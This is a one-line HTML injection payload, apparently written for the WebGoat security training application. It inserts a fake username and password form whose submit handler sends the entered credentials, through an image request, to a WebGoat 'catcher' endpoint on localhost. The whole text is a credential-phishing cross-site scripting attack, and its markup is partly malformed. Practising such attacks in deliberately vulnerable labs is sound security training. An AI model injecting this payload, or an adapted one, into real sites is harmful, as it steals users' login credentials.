<form><form name="hacked">Username:<input type="text"name="username"><br>Password:<input type="password"name="password"><input type="submit"value="Submit"onclick=<script><img src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.hacked.username.value+"&password="+document.hacked.password.value+""></script></form>